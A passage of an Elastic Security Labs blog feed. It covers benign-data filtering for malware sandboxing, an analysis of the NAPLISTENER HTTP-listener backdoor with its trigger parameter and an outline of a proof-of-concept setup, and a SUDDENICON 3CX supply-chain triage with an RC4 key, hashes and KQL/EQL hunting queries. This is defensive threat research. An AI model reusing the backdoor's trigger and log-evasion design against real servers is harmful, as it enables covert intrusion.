<p>For this project we leveraged enrich pipelines to add a unique identifier to the ingested document if it met certain criteria described within an enrich policy. To accomplish this, we first ingested a large and representative batch of benign data using a combination of normalization and fingerprint calculation pipelines. When the ingestion was completed, we set up several <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/ingest-enriching-data.html">enrich policies</a> through the <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/execute-enrich-policy-api.html">execute enrich policy API</a>. The execution of these enrich policies will create a set of new .enrich-* system indices. The results stored within these indices will later be used by the pipelines used to ingest mixed (benign and malicious) data.</p>
<p>This will make more sense with an example workflow. To leverage the enrich ingest pipeline, we first need to create enrich policies. As we are dealing with different data sources - meaning network data looks very different from auditd manager data - we will have to create one enrich policy per data type. In our enrich policy we may use a query to specify which documents we want to include in our enrich index and which ones we want to exclude. An example enrich policy that should add all auditd manager data to the enrich index, other than the data matching three specific match phrases, is displayed below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image14.jpg" alt="Creation of the enrich policy" /></p>
<p>We are leveraging the “fingerprint” field which is calculated in the fingerprint processor as our match field. This will create an index filled with benign fingerprints to be used as the enriching index within the enrich pipeline.</p>
<p>After creating this policy, we have to execute it for it to read the matching index, read the matching field, query for inclusions and exclusions, and create the new .enrich-* system index. We do this by executing a POST request to the _execute API.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image18.jpg" alt="Example API request to execute the enrich policy" /></p>
<p>We set wait_for_completion=false to make sure that the policy doesn’t time out. This might occur if the dataset is too large. When we navigate to index management and include hidden indices, we can see that the index is created successfully.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image16.jpg" alt="The newly created enrich-* system index" /></p>
<p>We now have a list of known benign fingerprints, which we will use within our enrich pipeline to filter our mixed dataset with. Our enrich pipeline will once again use a condition to differentiate between data sources. An overview of our enrich processors is displayed below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image8.jpg" alt="Enrich ingest pipeline" /></p>
<p>Focusing on the auditd manager, we built an enrich processor using the condition field to check if the document's dataset is auditd_manager.auditd. If it matches, we reference the enrich policy we created for that dataset. Using the fingerprint field, we match and enrich incoming documents. If the fingerprint is known within the enrich indices we created, we add the &quot;enrich_label&quot; field with the fingerprint to the document. See the processor below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image7.png" alt="Configuration example" /></p>
<p>Once a document originating from the auditd_manager.auditd dataset comes through, the enrich processor is executed, and this finally executes a <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/script-processor.html">script processor</a>. The script processor allows us to run inline or stored scripts on incoming documents. We leverage this functionality to read each document in the pipeline, check whether the “enrich_label” field was added; and if this is the case, we set a new boolean field called “known_benign” to true and remove the “enrich_label” and “enriched_fingerprint” fields. If the document does not contain the “enrich_label” field, we set “known_benign” to false. This allows us to easily filter our mixed dataset in Kibana.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image3.jpg" alt="Script processor" /></p>
<p>When using the “test pipeline” feature by adding a document that contains the “enrich_label”, we can see that the “fingerprint” and the “known_benign” fields are set.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image22.jpg" alt="Testing the pipeline with a benign document" /></p>
<p>For documents that do not contain “enrich_label”, just the fingerprint is set.</p>
<p>Working with these enrich policies requires some setup, but once they are well structured they can truly filter out a lot of noise. Because doing this manually is a lot of work, we created some simple Python scripts to somewhat automate this process. We will go into more detail about how to automate the creation of these enrich policies, their execution, the creation of the enrich pipeline and more shortly.</p>
<h4>Ingest pipeline chaining</h4>
<p>The <a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/pipeline-processor.html">pipeline ingest pipeline</a> provides a way to chain multiple ingest pipelines. By chaining pipelines, we create a sequence of operations that collectively shapes the incoming data in the form that we want, facilitating our needs for data normalization, fingerprint calculation, and data enrichment.</p>
<p>In our work with Detonate, we ended up creating two ingest pipelines. The first will process benign data, which consists of a normalization pipeline and a fingerprint calculation pipeline. The next will process malicious data, consisting of a normalization, fingerprint calculation, and enrichment pipeline. An example of this would be the following:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image15.jpg" alt="Pipeline ingest pipeline" /></p>
<p>With the pipelines in place, we need to ensure that they are actually being used when ingesting data. To accomplish this, we leverage component templates.</p>
<h3>Component templates</h3>
<p><a href="https://www.elastic.co/es/guide/en/elasticsearch/reference/current/indices-component-template.html">Component templates</a> are reusable configurations that define the settings and mappings for specific types of Elasticsearch components. They provide a convenient way to define and manage consistent configurations across multiple components, simplifying the management and maintenance of resources.</p>
<p>When you first start using any fleet integrations, you would notice that a lot of component templates are created by default. These are also tagged as &quot;managed&quot;, meaning that you can't change the configuration.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image24.png" alt="Component template overview" /></p>
<p>In order to accommodate users that want to post process events that are ingested via the fleet managed agent, all index templates call out to a final component template whose name ends in <code>@custom</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image9.png" alt="Custom component template overview" /></p>
<p>The settings you put in these components will never be changed by updates. In our use case, we use these templates to add a mapping for the enrichment fields. Most of the data that is ingested via the fleet and its integrations will go through an ingest pipeline. These pipelines will follow the same pattern in order to accommodate user customizations. Take for example the following ingest pipeline:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image23.jpg" alt="Example of fleet manager component template" /></p>
<p>We can see that it is managed by fleet and it is tied to a specific version (e.g. 8.8.0) of the integration. The processor will end by calling the <code>@custom</code> pipeline, and ignore it if it doesn't exist.</p>
<p>We want to add our enrichment data to the documents using the enrichment pipelines we described in the previous section. This can now simply be done by creating the <code>@custom</code> pipeline and having that call out to the enrichment pipeline.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image5.jpg" alt="Example of the created custom ingest pipeline" /></p>
<h3>Automating the process</h3>
<p>In order to create the gsub processors, ingest pipelines, and enrich policies, we had to use three Python scripts. In the next section we will showcase these scripts. If you choose to integrate these scripts, remember that you will need to adjust them to match your own environment in order to make them work.</p>
<h4>Creating the gsub ingest pipelines</h4>
<p>In order to create a gsub pipeline that will replace the given random paths by static ones we used a Python <a href="https://github.com/elastic/labs-releases/blob/main/tools/malware_research/gsub_pipeline_json_object.py">script</a> that takes several fields and patterns as an input, and prints out a json object which can be used by the pipeline creation API.</p>
<h4>Create Custom Pipelines</h4>
<p>After setting up the gsub pipeline, we leveraged <a href="https://github.com/elastic/labs-releases/blob/main/tools/malware_research/custom_pipelines.py">a second Python script</a> that searches for all fleet managed configurations that call an @custom ingest pipeline. It will then create the appropriate pipeline, after which all the custom pipelines will be pointing to the <code>process_local_events</code> pipeline.</p>
<h4>Generate Enrichment Processors</h4>
<p>Finally, we created a <a href="https://github.com/elastic/labs-releases/blob/main/tools/malware_research/enrich_policy_setup.py">third</a> Python script that will handle the creation of enrichment processors in four steps.</p>
<ol>
<li><code>The cleanup process</code> : While an enrichment processor is used in an ingest pipeline it cannot be deleted. During testing and development we simply delete and recreate the ingest pipeline. This is of course not recommended for production environments.</li>
<li><code>Create enrich policies</code> : The script will create every individual policy.</li>
<li><code>Execute the policies</code> : This will start the process of creating the hidden enrichment system index. Note that the execution of the policy will take longer than the execution of the script as it will not wait for the completion of the command. Elastic will create the enrichment index in the background.</li>
<li><code>Re-create the ingest pipeline</code> : After the enrich policy has been updated, we can now re-create the ingest pipeline that uses the enrichments.</li>
</ol>
<p>After executing these three scripts, the whole setup is completed, and malicious data can be ingested into the correct namespace.</p>
<h3>Results and limitations</h3>
<p>Our benign dataset includes 53,267,892 documents generated by executing trusted binaries on a variety of operating systems and collecting events from high-value data sources. Using this normalized benign dataset, we calculated the fingerprints and created the enrich policies per data type.</p>
<p>With this setup in place, we detonated 332 samples. After removing the Elastic agent metrics and endpoint alerts from the datasets, we ended up with a mixed dataset containing a total number of 41,710,279 documents.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image17.jpg" alt="Results prior to filtering on known_benign = false" /></p>
<p>After setting “known_benign” to false, we end up with 1,321,949 documents. This is a decrease of 96.83% in document count.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image4.png" alt="Results after filtering on known_benign = false" /></p>
<p>The table below presents an overview of each data source and its corresponding number of documents before and after filtering on our “known_benign” field.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/Screenshot_2023-07-27_at_11.08.25_AM.jpg" alt="Results of filtering out benign data" /></p>
<p>We can see that we managed to successfully filter most data sources by a decent percentage. Additionally, the numbers presented in the “after” column include malicious data that we do want to capture. For example, amongst the different malware samples several included ransomware - which tends to create a lot of file events. Also, all of the http traffic originated from malware samples trying to connect to their C2’s. The auditd_manager and fim.event datasets include a lot of the syscalls and file changes performed by the samples.</p>
<p>While building out this pipeline, several lessons were learnt. First of all, as mentioned before, if you add one wrong field to the fingerprint calculation the whole dataset might end up generating lots of noise. This can be seen by adding the source.port to the packetbeat fingerprint calculation, resulting in the endpoint.events.network and all network_traffic-* datasets to increase drastically.</p>
<p>The second lesson we learned: it is not only important to have a representative dataset, but it is also important to have a large dataset. These two go hand in hand, but we learnt that having a small dataset or a dataset that does not generate very similar behavior to the dataset that will be ingested later, will cause the pipelines to be less than half as effective.</p>
<p>Finally, some data sources are better suited for this filtering approach than others. For example, when dealing with <code>system.syslog</code> and <code>system.auth</code> events, most of the fields within the document (except the message field) are always the same. As we cannot use this approach for unstructured data, such as plain text fields, our filter would filter out 99% of the events when just looking at the remaining fields.</p>
<h3>Visualizing results</h3>
<p>Kibana offers many great options to visualize large datasets. We chose to leverage the Lens functionality within Kibana to search through our malicious dataset. By setting <code>known\_benign</code> to false, setting <code>count of fingerprint</code> as a metric, and sorting by ascending order, we can right away see different malware samples execute different tasks. Examples of file events is shown below.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image2.png" alt="Using Lens to visualize malicious file events" /></p>
<p>Within this table, we can see - suspicious files being created in the <code>/dev/shm/</code> directory - “ <code>HOW_TO_DECRYPT.txt</code> ” file creations indicating the creation of a ransom message - Files being changed to contain new random file extensions, indicating the ransomware encryption process.</p>
<p>When looking into file integrity monitoring events, we can also very easily distinguish benign events from malicious events by applying the same filter.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image10.jpg" alt="Using Lens to visualize malicious symlink events" /></p>
<p>Right away we notice the creation of a symlink for a <code>linux.service</code> and <code>bot.service</code> , and several run control symlinks to establish persistence onto the system.</p>
<p>Looking at network connections, we can see <code>connection\_attempted</code> events from malicious samples to potential C2 servers on several uncommon ports.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image19.jpg" alt="Using Lens to visualize malicious network connections" /></p>
<p>Finally, looking at auditd manager syscall events, we can see the malware opening files such as cmdline and maps and attempting to change the permissions of several files.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/image11.png" alt="Using Lens to visualize malicious syscalls" /></p>
<p>Overall, in our opinion the data cleaning results are very promising and allow us to more efficiently conduct dynamic malware analysis on a large scale. The process can always be further optimized, so feel free to take advantage of our approach and fine tune it to your specific needs.</p>
<h2>Beyond Dynamic Malware Analysis</h2>
<p>In the previous sections we described our exact use case for leveraging fingerprint and enrich ingest pipelines. Other than malware analysis, there are many other fields that can reap the benefits of a workflow similar to the one outlined above. Several of these applications and use cases are described below:</p>
<ul>
<li>Forensics and Security: Fingerprinting can be employed in digital forensics and security investigations to identify and link related artifacts or events. It helps in tracing the origin of data, analyzing patterns, and identifying potential threats or anomalies in log files, network traffic, or system events. Researchers over at Microsoft leveraged fuzzy hashing in <a href="https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/fuzzy-hashing-logs-to-find-malicious-activity/ba-p/3786669">previous research</a> to detect malicious web shell traffic.</li>
<li>Identity Resolution: Fingerprinting can be used to uniquely identify individuals or entities across different data sources. This is useful in applications like fraud detection, customer relationship management, and data integration, where matching and merging records based on unique identifiers is crucial.</li>
<li>Data Deduplication: Fingerprinting can help identify and eliminate duplicate records or documents within a dataset. By comparing fingerprints, you can efficiently detect and remove duplicate entries, ensuring data integrity and improving storage efficiency. Readers interested in data deduplication use cases might find great value in pre-built tools such as <a href="https://blog.foxio.io/introducing-logslash-and-the-end-of-traditional-logging-2c6708b6fc1c">Logslash</a> to achieve this goal.</li>
<li>Content Management: Fingerprinting can be used in content management systems to detect duplicate or similar documents, images, or media files. It aids in content deduplication, similarity matching, and content-based searching by improving search accuracy and enhancing the overall user experience.</li>
<li>Media Identification: Fingerprinting techniques are widely used in media identification and recognition systems. By generating unique fingerprints for audio or video content, it becomes possible to identify copyrighted material, detect plagiarism, or enable content recommendation systems based on media similarity.</li>
</ul>
<h2>Conclusion</h2>
<p>There are many different approaches to dynamic malware analysis. This blog post explored some of these options by leveraging the powerful capabilities offered by Elastic. Our aim was to both present a new method of dynamic malware analysis while at the same time broadening your understanding and knowledge of the built-in functionalities within Elastic.</p>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter @elasticseclabs and check out our research at <a href="http://www.elastic.co/es/security-labs/">www.elastic.co/security-labs/</a>.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/an-elastic-approach-to-large-scale-dynamic-malware-analysis/blog-thumb-steel-engine.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[NAPLISTENER: more bad dreams from developers of SIESTAGRAPH]]></title>
            <link>https://www.elastic.co/es/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph</link>
            <guid>naplistener-more-bad-dreams-from-the-developers-of-siestagraph</guid>
            <pubDate>Tue, 27 Jun 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs observes that the threat behind SIESTAGRAPH has shifted priorities from data theft to persistent access, deploying new malware like NAPLISTENER to evade detection.]]></description>
            <content:encoded><![CDATA[<h3>Introduction</h3>
<p>While continuing to monitor the <a href="https://www.elastic.co/es/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">REF2924</a> activity group, Elastic Security Labs observed that the attacker shifted priorities from data theft to persistent access using several mechanisms. On January 20, 2023, a new executable <code>Wmdtc.exe</code> was created and installed as a Windows Service using a naming convention similar to the legitimate binary used by the Microsoft Distributed Transaction Coordinator service ( <code>Msdtc.exe</code> ).</p>
<p><code>Wmdtc.exe</code> is an HTTP listener written in C#, which we refer to as NAPLISTENER. Consistent with SIESTAGRAPH and other malware families developed or used by this threat, NAPLISTENER appears designed to evade network-based forms of detection. <em>Notably, network- and log-based detection methods are common in the regions where this threat is primarily active (southern and southeastern asia).</em></p>
<h3>Analysis</h3>
<p>This unique malware sample contains a C# class called <code>MsEXGHealthd</code> that consists of three methods: <code>Main</code> , <code>SetRespHeader</code> , and <code>Listener</code>. This class establishes an HTTP request listener that can process incoming requests from the Internet, and respond accordingly by filtering malware commands and transparently passing along legitimate web traffic. This class is depicted in the following image:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image3.jpg" alt="NAPLISTENER MsEXGHealthd class" /></p>
<h3>Malware analysis</h3>
<p>The <code>Main</code> method is invoked when the program runs and creates a thread object, which will be used by the <code>Listener</code> method. The thread is then put to sleep for 0 milliseconds, and then started. Implementing a sleep capability is consistent with SIESTAGRAPH, NAPLISTENER, and other malware developed or used by this group.</p>
<p>The <code>SetRespHeader</code> method sets the response headers for the HTTP response. It takes an <code>HttpListenerResponse</code> object as a parameter and defines headers such as <code>Server</code> , <code>Content-Type</code> , and <code>X-Powered-By</code>. In one aggressively-targeted victim environment, the IIS web server returns a 404 response with a <code>Server</code> header containing <code>Microsoft-IIS/10.0</code> as seen below, unless specific parameters are present:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image6.jpg" alt="" /></p>
<p>However, the 404 error when requesting the listener URI adds <code>Content-Type: text/html; charset=utf-8</code> as an extra header. When NAPLISTENER is installed, the string <code>Microsoft-HTTPAPI/2.0</code> is appended to the Server header. This behavior makes the listener detectable and does not generate a 404 error. It is likely this filtering methodology was chosen to avoid discovery by web scanners and similar technologies.</p>
<p>Defenders may instinctively search for these errors in IIS web server logs, but the NAPLISTENER implant functions inline and Windows will redirect these requests to the registered application, allowing the malware to ensure those errors never reach the web server logs where analysts may see them. Additionally, security tools that ingest web server logs will not have an opportunity to identify these behaviors.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image5.jpg" alt="" /></p>
<p>The <code>Listener</code> method is where most of the work happens for NAPLISTENER.</p>
<p>First, this method creates an <code>HttpListener</code> object to handle incoming requests. If <code>HttpListener</code> is supported on the platform being used (which it should be), it adds a prefix to the listener and starts it.</p>
<p>Once running, it waits for incoming requests. When a request comes in, it reads any data that was submitted (stored in a <code>Form</code> field), decodes it from Base64 format, and creates a new <code>HttpRequest</code> object with the decoded data. It creates an <code>HttpResponse</code> object and an <code>HttpContext</code> object, using these two objects as parameters. If the submitted Form field contains <code>sdafwe3rwe23</code> , it will try to create an assembly object and execute it using the <code>Run</code> method.</p>
<p>This means that any web request to <code>/ews/MsExgHealthCheckd/</code> that contains a base64-encoded .NET assembly in the <code>sdafwe3rwe23</code> parameter will be loaded and executed in memory. It's worth noting that the binary runs in a separate process and it is not associated with the running IIS server directly.</p>
<p>If that fails for some reason (e.g., invalid or missing data), then a &quot;404 Not Found&quot; response will be sent with an empty body instead . After either response has been sent, the stream is flushed and the connection closed before looping back to wait for more incoming requests.</p>
<h3>Proof-of-concept prerequisites</h3>
<p><em>Attention: Please remember that this is meant as a proof-of-concept to illustrate how NAPLISTENER must be prepared for a target environment: it should not be deployed in production environments for any reason.</em></p>
<p>In order to properly run NAPLISTENER, an SSL certificate must be generated and the application registered to use it on a target endpoint. A general example of generating a self-signed certificate resembles the following commands:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image7.jpg" alt="" /></p>
<p>The adversary needs to then Import the <code>certificate.pfx</code> object into the windows certificate store, as depicted in the following image:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image2.jpg" alt="" /></p>
<p>Each certificate contains a thumbprint, and the following screen capture depicts an example certificate:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image1.jpg" alt="" /></p>
<p>The thumbprint value is necessary to register the application as seen in the following command:</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/Screenshot_2023-03-19_at_3.14.31_PM.jpg" alt="" /></p>
<p>The adversary needs to replace the <code>certhash</code> value with the thumbprint from their certificate. The <code>appid</code> is the GUID of the sample application ID. Once the environment is properly configured, the sample can be run from any privileged terminal.</p>
<p>The following python script created by Elastic Security Labs demonstrates one method that can then be used to trigger NAPLISTENER. The payload in this example is truncated for readability, and may be released at a later time when the industry has better ability to detect this methodology.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/Screenshot_2023-03-19_at_3.15.37_PM.jpg" alt="" /></p>
<p>In our PoC, running the python script results in a harmless instance of <code>calc.exe</code>.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/image4.jpg" alt="" /></p>
<h3>Resources</h3>
<p>Elastic Security Labs has published a NAPLISTENER signature to the open protections artifact repository <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_NapListener.yar">here</a>.</p>
<h3>Sources</h3>
<p>Code similarity analyses are an important part of our process. During our investigation of NAPLISTENER, we identified a public <a href="https://github.com/A-D-Team/SharpMemshell/blob/main/HttpListener/memshell.cs">GitHub repository</a> that contains a similar project. Similar logic and identical debugging strings are present in both pieces of code, and we assess that <code>SharpMemshell</code> may have inspired the threat responsible for NAPLISTENER.</p>
<h3>Key takeaways</h3>
<ul>
<li>The attacker has shifted their focus from data theft to establishing persistent access using new malware including NAPLISTENER, an HTTP listener written in C#</li>
<li>NAPLISTENER creates an HTTP request listener that can process incoming requests from the internet, reads any data that was submitted, decodes it from Base64 format, and executes it in memory</li>
<li>NAPLISTENER is designed to evade network-based detection methods by behaving similarly to web servers</li>
<li>The attacker relies on code present in public repositories for a variety of purposes, and may be developing additional prototypes and production-quality code from open sources</li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/es/security-labs/assets/images/naplistener-more-bad-dreams-from-the-developers-of-siestagraph/blog-thumb-filtered-lens.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic users protected from SUDDENICON’s supply chain attack]]></title>
            <link>https://www.elastic.co/es/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack</link>
            <guid>elastic-users-protected-from-suddenicon-supply-chain-attack</guid>
            <pubDate>Fri, 05 May 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, a potential supply-chain compromise affecting 3CX VOIP softphone users.]]></description>
            <content:encoded><![CDATA[<h1>Key takeaways</h1>
<ul>
<li>Elastic users are protected from supply chain attacks targeting the 3CX users</li>
<li>How the execution flow operates is actively being investigated by Elastic Security Labs and other research teams</li>
<li>Irrespective of the anti-malware technology you are using, shellcode and process injection alerts for 3CX should not be added to exception lists</li>
</ul>
<h1>Preamble</h1>
<p>On March 29, 2023, CrowdStrike reported a potential supply-chain compromise affecting 3CX VOIP softphone users <a href="https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/">as detailed in a Reddit post</a>. Elastic Security Labs continues to monitor telemetry for evidence of threat activity and will provide updates as more evidence becomes available. The earliest period of potentially malicious activity is currently understood to be on or around March 22, 2023 <a href="https://www.todyl.com/blog/post/threat-advisory-3cx-softphone-telephony-campaign">as reported by Todyl</a>.</p>
<p><a href="https://www.3cx.com/company/customers/">3CX states</a> it is used by over 600,000 companies and over 12,000,000 users, so Elastic Security Labs is releasing a triage analysis to assist 3CX customers in the initial detection of SUDDENICON, with follow-on malware and intrusion analysis to be released at a later date.</p>
<p>In this informational update, Elastic Security Labs provides the following: - Potential malicious domains associated with malware activity - File hashes for 3CX Windows and MacOS clients which may be impacted - Elastic queries and prebuilt protections which may be relevant to this activity - YARA rules to identify the SUDDENICON malware</p>
<h1>SUDDENICON triage analysis</h1>
<p>The 3CXDesktopApp <a href="https://www.virustotal.com/gui/file/aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868">installer MSI</a> appears to contain malicious code which waits seven days post-installation before downloading additional files from <a href="https://github.com/IconStorages/images">GitHub</a> and communicating with malicious command-and-control domains. The client application writes <code>ffmpeg.dll</code> and <code>d3dcompiler\_47.dll</code> to disk, the latter of which contains a payload we refer to as SUDDENICON. Both libraries in our sampling appear to have been backdoored. It should be noted that <code>ffmpeg.dll</code> and <code>d3dcompiler\_47.dll</code> are both legitimate file names and rules should not be created on them alone.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image1.jpg" alt="ffmpeg.dll referencing the d3dcompiler_47.dll file" /></p>
<p>The <code>ffmpeg.dll</code> binary extracts SUDDENICON from <code>d3dcompiler\_47.dll</code> by seeking the FEEDFACE byte sequence and decrypting using a static RC4 key (<code>3jB(2bsG#@c7</code>). The resulting payload is then loaded in memory as the second-stage payload. A shellcode stub prepended to the payload used to map it into memory shares similarities with APPLEJEUS loader stubs, which have been <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa21-048a">associated with DPRK</a>. Upon successfully executing, this shellcode stub writes a new file ( <code>manifest</code> ) to disk with a timestamp 7 days in the future, used to implement a timer after which the malware connects to the C2 infrastructure.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image3.jpg" alt="ffmpeg.dll loading the d3dcompiler_47.dll file" /></p>
<p>C2 domains are retrieved by downloading and base64-decoding the trailing bytes appended to icon files staged in the <a href="https://github.com/IconStorages">IconStorages Github repository</a> (this repository has been removed by Github). This repo was created by GitHub ID <code>120072117</code> on December 8, 2022, and most recently updated on March 16, 2023. After initially connecting to an active C2 server, the malware performs a POST containing a machine identifier. It then downloads and decrypts a new executable.</p>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image5.png" alt="SUDDENICON downloading a new executable" /></p>
<p>Initial analysis of the new executable appears to be an information stealer. We’ll release an update once the analysis has been completed.</p>
<p>The CEO of 3CX has <a href="https://www.3cx.com/community/threads/3cx-desktopapp-security-alert.119951/">recommended uninstalling the software</a>; a small number of <a href="https://www.3cx.com/community/forums">community forum</a> posts outline how security tooling is reacting to potential malware behaviors, and <a href="https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/">CrowdStrike</a> and <a href="https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/">SentinelOne</a> have published initial information. It appears likely that the threat was able to introduce adversary-created malicious software via update channels, overwriting otherwise benign components of the 3CXDesktopApp. Users may accidentally self-infect, as well.</p>
<h1>Detection logic</h1>
<h2>Prevention</h2>
<ul>
<li>Memory Threat Detection Alert: Shellcode injection</li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SuddenIcon.yar">Windows.Trojan.SuddenIcon</a></li>
</ul>
<p><img src="https://www.elastic.co/es/security-labs/assets/images/elastic-users-protected-from-suddenicon-supply-chain-attack/image4.jpg" alt="Memory Threat Detection Alert: Shellcode injection" /></p>
<h2>Hunting queries</h2>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h2>KQL queries</h2>
<p>The following KQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:</p>
<p><code>process.name : &quot;3CXDesktopApp.exe&quot; and dns.question.name : &quot;raw.githubusercontent.com&quot;</code></p>
<p>The following KQL query can be used to identify several host-based indicators of this activity:</p>
<p><code>dll.hash.sha256  : &quot;7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896&quot; or dll.hash.sha256 :  &quot;c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02&quot;</code></p>
<h2>EQL queries</h2>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for similar behaviors.</p>
<p>The following EQL query can be used to profile 3CX software and child software:</p>
<p><code>any where process.code_signature.subject_name == &quot;3CX Ltd&quot; or process.parent.code_signature.subject_name == &quot;3CX Ltd&quot;</code></p>
<p>The following EQL query can be used to identify 3CX-signed software performing name resolution of raw.githubusercontent.com, where malicious applications related to this threat have been staged:</p>
<p><code>network where process.code_signature.subject_name == &quot;3CX Ltd&quot; and dns.question.name == “raw.githubusercontent.com”</code></p>
<p>The following EQL query can be used to identify files written by the 3CXDesktopApp client:</p>
<p><code>file where event.type == &quot;creation&quot; and (host.os.type == &quot;windows&quot; and file.path : &quot;*:\\Users\\*\\AppData\\Local\\Programs\\C3XDesktopApp\\app\\*&quot; and file.name : (&quot;manifest&quot;)) or (host.os.type == &quot;macos&quot; and file.path : &quot;*/Library/Application Support/3CX Desktop App/&quot; and file.name : (&quot;UpdateAgent&quot;, &quot;.main_storage&quot;, &quot;.session-lock&quot;)</code></p>
<p>The following EQL query can be used to identify several host-based indicators of this activity:</p>
<p><code>sequence by host.name, process.entity_id[process where process.code_signature.subject_name:&quot;3CX Ltd&quot;][library where dll.hash.sha256:&quot;c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02&quot;,&quot;7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896&quot;][network where dns.question.name:&quot;raw.githubusercontent.com&quot;]</code></p>
<p>The following EQL query can be used to identify this activity if the DLL is updated:</p>
